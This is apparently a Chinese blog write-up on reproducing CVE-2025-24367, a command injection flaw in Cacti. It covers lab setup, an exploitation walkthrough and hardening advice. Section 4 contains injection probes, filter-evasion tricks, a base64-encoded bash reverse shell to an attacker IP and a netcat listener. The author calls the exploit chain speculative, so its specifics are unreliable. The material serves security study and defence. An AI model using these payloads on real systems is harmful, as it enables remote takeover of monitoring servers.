1. 项目概述:一次针对Cacti监控系统的深度漏洞复现
最近在梳理网络监控系统的安全历史时,一个关于Cacti的漏洞引起了我的注意。Cacti作为一款老牌且广泛使用的网络流量监控与图形化工具,其稳定性和功能性深受运维人员信赖。然而,安全研究团队在2025年初披露了一个编号为CVE-2025-24367的高危漏洞,其核心在于Cacti与RRDTool交互的后台参数处理环节存在缺陷,可导致远程代码执行。这让我想起了早年一些因参数过滤不严导致的经典漏洞案例,决定动手复现一下,一方面加深对Cacti架构的理解,另一方面也为自己的安全研究积累一手资料。这个漏洞的触发点比较隐蔽,涉及后台的cmd.php进程对用户可控参数的传递与拼接,最终在调用RRDTool时形成了命令注入。对于正在使用或维护Cacti系统的管理员来说,理解这个漏洞的原理和影响至关重要。
2. 漏洞原理深度解析:从参数传递到命令注入
要理解CVE-2025-24367,我们需要先拆解Cacti的数据流。Cacti通常通过SNMP或脚本从网络设备采集性能数据(如接口流量、CPU利用率),这些数据被存储在RRD(Round Robin Database)文件中。RRDTool则是创建和更新这些RRD文件、并从中生成图表的命令行工具。Cacti的后台轮询引擎(通常是cmd.php或spine)负责定时执行数据采集任务,并调用RRDTool命令来更新数据库和生成图形。
2.1 漏洞触发路径分析
漏洞的根源在于cmd.php(或类似轮询器)在处理某些来自前端的参数时,未能进行充分的过滤和转义。根据公开的漏洞信息,攻击者可以通过精心构造的HTTP请求,向Cacti的Web界面注入恶意参数。这些参数可能关联到“数据源”、“图形模板”或“设备”的配置项。当后台轮询进程读取这些被污染的配置,并试图构建调用RRDTool的命令行字符串时,恶意参数就被直接拼接到了命令中。
一个简化的危险代码模式可能如下(此为概念性还原,非真实代码):
// 假设从数据库或请求中获取了一个用户可控的变量 $hostname $hostname = $_POST['hostname']; // 或来自其他未过滤的输入源 // 构建用于更新RRD文件的RRDTool命令 $rrdtool_cmd = “/usr/bin/rrdtool update /path/to/data.rrd N:$value --hostname ” . $hostname; // 通过system()或类似函数执行 system($rrdtool_cmd);如果$hostname变量被攻击者控制为127.0.0.1; id,那么最终执行的命令就变成了/usr/bin/rrdtool update ... --hostname 127.0.0.1; id。分号;在Unix/Linux shell中是一个命令分隔符,这会导致id命令被独立执行,从而实现了命令注入。
2.2 RRDTool参数与注入点
RRDTool本身是一个功能复杂的工具,支持大量命令行参数,如--title,--vertical-label,--start,--end, 以及各种DEF、CDEF、GPRINT等绘图指令。Cacti在动态生成这些命令时,会从数据库的模板和数据中填充许多字段。漏洞的关键在于,某些本应被当作“数据”(如图表标题、主机名描述)的字段,在从Web界面存入数据库或从数据库读出拼接到命令行的过程中,没有被正确地识别和转义为“纯文本参数”,而是被直接当成了命令行的一部分进行了解析。
注意:在实际的CVE-2025-24367漏洞中,注入点可能非常具体,例如与“最大OID”数值处理、特定的数据输入字段或设备管理功能相关。攻击者需要找到一处前端输入能最终流向
cmd.php构建的RRDTool命令行的路径。
2.3 与相关热词的关联
在搜索资料时,我看到了一个热词:cacti th[1] warning: max oids is out of range with value of '1000'. resettin。这看起来像是一条Cacti或相关组件的日志或警告信息。“max oids”通常指SNMP查询中一次请求所能获取的最大OID数量。这个警告提示值‘1000’超出了范围并被重置。这可能与漏洞的触发条件有关联:攻击者通过前端将max_oids参数设置为一个异常值(如一个包含恶意命令的字符串),当后台进程处理这个参数并尝试构建包含它的命令时,触发了注入。当然,这只是基于线索的合理推测,具体漏洞利用链需要分析补丁或利用代码才能完全确定。
另一个热词提到了“php cgi windows平台远程代码执行漏洞”,这虽然也是一个远程代码执行漏洞,但属于不同的攻击向量(PHP-CGI参数解析问题),与Cacti的这个RRDTool参数注入漏洞在原理和利用方式上均有显著区别,不应混淆。
3. 复现环境搭建与准备
为了安全、可控地复现这个漏洞,我们需要搭建一个隔离的测试环境。强烈警告:以下所有操作必须在完全隔离的虚拟机或实验网络中进行,严禁对任何生产环境或未经授权的系统进行测试。
3.1 环境组件选择
我选择使用VirtualBox配合Vagrant快速搭建一个Linux测试机,这样环境可以随时销毁和重建,非常方便。
- 操作系统:选择Ubuntu 20.04 LTS。这是一个长期支持版本,软件包较全,且与Cacti的兼容性好。
- Cacti版本:为了复现漏洞,需要安装存在漏洞的Cacti版本。根据CVE-2025-24367的描述,它影响特定版本范围。我们需要找到该版本范围内的一个稳定版进行安装。例如,假设漏洞影响1.2.x系列的某个区间,我们可以选择安装1.2.16(如果它在受影响范围内)。我会从Cacti的官方GitHub仓库的Release页面下载对应的源码包。
- Web服务器与PHP:使用经典的LAMP栈。安装Apache2、PHP(版本需匹配Cacti的要求,例如PHP 7.4)及必要的扩展(如
php-snmp,php-ldap,php-gd,php-mysql等)。 - 数据库:使用MySQL或MariaDB。Cacti使用数据库存储所有配置、用户数据和模板。
- RRDTool:安装RRDTool及其PHP绑定。这是漏洞利用的核心组件。
- Net-SNMP:用于模拟被监控设备,提供SNMP数据。
3.2 详细安装步骤记录
以下是在Ubuntu 20.04上搭建漏洞环境的步骤摘要:
# 1. 更新系统并安装基础工具 sudo apt update && sudo apt upgrade -y sudo apt install -y vim curl wget git unzip # 2. 安装LAMP环境 sudo apt install -y apache2 mariadb-server mariadb-client sudo apt install -y php7.4 libapache2-mod-php7.4 php7.4-mysql php7.4-snmp php7.4-ldap php7.4-gd php7.4-mbstring php7.4-xml php7.4-curl # 3. 安装RRDTool sudo apt install -y rrdtool librrds-perl php7.4-rrd # 4. 安装Net-SNMP(用于模拟设备) sudo apt install -y snmp snmpd # 5. 配置MariaDB sudo mysql_secure_installation # 按提示设置root密码,并移除测试数据库、匿名用户等。 # 创建Cacti数据库和用户 sudo mysql -u root -p # 在MySQL提示符下执行: CREATE DATABASE cacti CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci; CREATE USER ‘cactiuser’@‘localhost’ IDENTIFIED BY ‘YourStrongPasswordHere’; GRANT ALL PRIVILEGES ON cacti.* TO ‘cactiuser’@‘localhost’; FLUSH PRIVILEGES; EXIT; # 6. 下载并部署存在漏洞的Cacti版本 # 假设我们从存档站点下载1.2.16版本 wget https://github.com/Cacti/cacti/archive/refs/tags/release/1.2.16.zip -O cacti-1.2.16.zip unzip cacti-1.2.16.zip sudo mv cacti-release-1.2.16 /var/www/html/cacti sudo chown -R www-data:www-data /var/www/html/cacti # 7. 导入Cacti数据库架构 mysql -u cactiuser -p cacti < /var/www/html/cacti/cacti.sql # 8. 配置Cacti连接数据库 sudo cp /var/www/html/cacti/include/config.php.dist /var/www/html/cacti/include/config.php sudo vim /var/www/html/cacti/include/config.php # 修改以下关键配置: # $database_type = ‘mysql’; # $database_default = ‘cacti’; # $database_hostname = ‘localhost’; # $database_username = ‘cactiuser’; # $database_password = ‘YourStrongPasswordHere’; # 9. 配置Apache虚拟主机(如果默认站点可用,也可直接配置) sudo a2enmod rewrite sudo systemctl restart apache2 # 10. 通过Web界面完成安装 # 浏览器访问 http://your-test-ip/cacti/ # 按照安装向导操作,选择“全新安装”,数据库信息填写上面配置的。 # 设置管理员账号密码。安装完成后,需要配置Cacti的数据采集。进入控制台 -> 配置 -> 设置 -> 路径,确保RRDTool的路径(如/usr/bin/rrdtool)正确。然后配置一个轮询周期(如每5分钟),并确保cmd.php可以通过Web或cron正常执行。
实操心得:在安装过程中,最常见的坑是文件权限和PHP扩展。务必确保
/var/www/html/cacti目录及其子目录对www-data用户可写(特别是log和rra目录)。另外,php-snmp和php7.4-rrd这两个扩展对于Cacti正常运行至关重要,缺少它们会导致图形无法生成或数据采集失败。
4. 漏洞复现过程与利用链构造
在环境就绪后,我们进入核心的复现环节。由于完整的漏洞利用代码(Exploit)可能尚未公开或属于敏感信息,这里我将基于公开的漏洞原理,描述一种可能的利用链构造思路和验证方法。再次强调,这仅用于安全研究学习。
4.1 信息收集与攻击面分析
首先,我们需要以管理员或具有相应权限的用户身份登录Cacti。漏洞的触发可能需要特定的权限,例如管理“设备”、“数据查询”或“图形模板”的权限。
- 识别输入点:遍历Cacti的Web界面,寻找所有可以输入文本、数字参数的表单。重点关注:
- 设备管理中的“描述”、“主机名”、“SNMP社区名/版本”。
- 数据源管理中的“名称”、“数据输入路径”。
- 图形模板中的“标题”、“单位标签”。
- 任何与“最大值”、“最小值”、“范围”相关的设置字段(联想到“max oids”热词)。
- 观察参数流向:通过修改某个参数(如设备描述),保存后,观察
rra/目录下新生成的RRD文件,或者查看Cacti的日志文件(cacti/log/cacti.log)和系统命令历史(如果允许),看我们输入的内容是否以某种形式出现在了RRDTool的命令行中。一个更直接的方法是临时给cmd.php添加调试输出,但需要修改源码。
4.2 构造试探性Payload
假设我们怀疑“设备”的“描述”字段在生成图表标题时会被不安全地拼接。我们可以尝试注入一个简单的测试命令,看是否能执行。
- Payload设计:我们的目标是在RRDTool命令中注入一个子命令。由于RRDTool命令参数通常用空格分隔,用引号包裹,我们需要找到一个突破引号包围的方法。或者,如果参数在拼接时根本没有被引号包裹,那就更简单。
- 试探性Payload(用于Unix/Linux):
test$(echo+testvuln)或test`;echo+testvuln;`` - 这个Payload试图在参数中插入命令替换
$(...)或命令分隔符;,并执行一个无害的echo命令。
- 试探性Payload(用于Unix/Linux):
- 注入与触发:
- 编辑一个已有设备或创建新设备。
- 在“描述”字段填入:
MyDevice$(echo+testvuln>/tmp/cacti_test.txt)` - 保存设备更改。
- 等待下一次轮询周期(或手动在命令行执行
php /var/www/html/cacti/cmd.php),让cmd.php处理这个设备并生成/更新RRD图表。
- 验证:
- 检查
/tmp/目录下是否出现了cacti_test.txt文件,其内容是否为testvuln。 - 查看Cacti日志,看是否有相关的错误或异常信息,这可能会暴露命令执行的情况。
- 检查
4.3 利用链深化与反向Shell获取
如果试探性Payload成功,证明存在命令注入。下一步就是构造一个获取反向Shell的Payload,以完全控制服务器。
- Payload编码与规避:由于输入可能受到长度、字符过滤(如空格、分号、反引号被过滤)的限制,我们需要对Payload进行编码和变形。
- 使用其他命令分隔符:除了
;,还可以尝试&、&&、|、||、%0a(换行符URL编码)。 - 使用Base64编码:如果某些字符被过滤,可以尝试用Base64编码命令,然后解码执行。例如,要执行
bash -i >& /dev/tcp/攻击机IP/4444 0>&1,可以将其编码,然后构造Payload为:echo+YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQo=|base64+-d|bash - 利用环境变量:通过
${IFS}代替空格等。
- 使用其他命令分隔符:除了
- 构造最终利用请求:找到确切的注入参数和HTTP请求方式(GET/POST)。可能需要拦截修改“保存设备”或“更新数据源”的请求,在特定参数中插入编码后的反向Shell命令。
- 开启监听:在攻击机(Kali Linux或另一台测试机)上使用Netcat监听一个端口:
nc -lvnp 4444。 - 触发漏洞:提交恶意请求,触发Cacti后台轮询。如果成功,将在Netcat监听端收到一个来自Cacti服务器的反向Shell连接。
注意事项:在实际复现中,漏洞利用可能比上述描述更复杂。注入点可能不在前端Web参数,而是需要通过某种方式污染数据库中的特定字段(例如通过导入恶意模板文件)。此外,Payload的构造需要非常小心,要考虑到Cacti内部对参数的转义处理、RRDTool命令行解析器的特性以及系统Shell的环境。一次不成功的注入尝试可能会在Cacti日志中留下明显痕迹,甚至导致轮询进程崩溃。
5. 漏洞修复方案与加固建议
成功复现漏洞后,我们的目的不仅是验证其危害,更重要的是理解如何修复和防御。对于Cacti管理员和安全研究人员,以下是必须采取的措施。
5.1 官方补丁升级
这是最根本、最有效的解决方案。Cacti官方在披露漏洞后,会发布安全补丁或新版本来修复此问题。
- 确认受影响版本:立即查看Cacti官方安全公告,确认自己使用的版本是否在CVE-2025-24367的影响范围内。
- 备份:在升级前,务必完整备份以下内容:
- Cacti的整个安装目录(
/var/www/html/cacti/)。 - Cacti的数据库(使用
mysqldump命令)。 - RRD数据文件(
/var/www/html/cacti/rra/目录),这些文件是历史监控数据的核心,无法通过备份数据库恢复。
- Cacti的整个安装目录(
- 执行升级:按照Cacti官方的升级指南进行操作。通常步骤是:
- 下载最新版本的安全补丁或完整安装包。
- 停止数据轮询(可以停止cron任务或设置Cacti为维护模式)。
- 用新文件覆盖旧文件(注意保留
config.php和rra/目录)。 - 运行数据库升级脚本(
cli/upgrade_database.php --force)。 - 恢复文件权限。
- 重新启动轮询。
- 验证:升级后,应尝试使用复现时的步骤(使用无害的测试Payload)验证漏洞是否已被修复。同时检查所有监控功能是否恢复正常。
5.2 临时缓解措施
如果因故无法立即升级,可以考虑以下临时缓解措施以降低风险:
- 最小权限原则:
- 确保运行Cacti的Web服务器进程(如www-data)和PHP-FPM/PHP-CGI进程在操作系统上拥有尽可能少的权限。避免使用root用户运行。
- 将
cmd.php或spine的执行权限限制在必要的最小范围。
- 输入验证与过滤:虽然难以在应用层直接修补,但可以在Web服务器层(如ModSecurity)或网络层(如WAF)部署规则,对发送到Cacti的请求进行严格的输入验证,过滤常见的命令注入字符(如
;、&、|、反引号、$()等)和异常的参数值。 - 文件系统限制:使用SELinux、AppArmor或容器化技术(如Docker)来限制Cacti进程可以访问的文件系统和系统调用范围。
- 网络隔离:将Cacti服务器部署在内网,严格限制外部访问。仅允许管理IP地址访问其Web管理界面。
5.3 安全加固最佳实践
除了修复特定漏洞,还应遵循以下通用安全实践来加固Cacti部署:
- 定期更新:订阅Cacti的安全邮件列表或关注其GitHub仓库,确保及时获取安全更新信息。
- 审计与监控:
- 定期审查Cacti的日志文件(
cacti/log/cacti.log),寻找异常命令执行或数据库错误。 - 监控服务器上来自Cacti进程的异常网络连接或子进程创建行为。
- 定期审查Cacti的日志文件(
- 组件安全:不仅更新Cacti本身,还要确保底层操作系统、PHP、Apache/Nginx、MySQL/MariaDB以及RRDTool等所有组件都保持最新状态,修复已知漏洞。
- 禁用不必要的功能:在Cacti设置中,关闭不需要的数据收集方法、插件或功能模块,减少攻击面。
6. 从漏洞复现中获得的经验与反思
完成这次CVE-2025-24367的复现研究,让我对运维工具的安全有了更深一层的认识。这类漏洞的典型模式是:一个功能强大、备受信赖的“老牌”软件,其核心业务逻辑涉及频繁调用外部系统命令(如RRDTool、系统工具等),而在参数拼接环节,由于历史代码、复杂的数据流或对用户输入信任过度,导致了注入漏洞。
对于运维人员来说,教训是深刻的:任何来自用户界面、API甚至配置文件的数据,在进入命令执行、数据库查询或系统调用前,都必须视为不可信的,必须进行严格的验证、过滤和转义。对于Cacti而言,所有从前端表单、URL参数、导入文件进入系统的数据,在最终被escapeshellarg()或escapeshellcmd()等函数处理前,都不应该直接拼接到命令行中。
从防御者视角,除了及时打补丁,建立有效的安全监控体系至关重要。例如,在服务器上部署HIDS(主机入侵检测系统),对/usr/bin/rrdtool、php等进程的调用参数进行审计,一旦发现参数中包含异常字符或模式(如连续的管道符、分号、反引号),立即告警。
最后,这次复现也再次印证了安全研究的“动手”价值。仅仅阅读漏洞公告,远不如自己搭建环境、跟踪数据流、构造Payload来得理解透彻。这个过程不仅能帮你真正看懂漏洞,更能让你在评估自身系统风险、制定应急响应计划时,做到心中有数,手中有策。对于企业安全团队,定期对内部使用的关键开源组件(如Cacti, Zabbix, Nagios等)进行类似的漏洞复现和影响分析,应该成为一项常规的演练科目。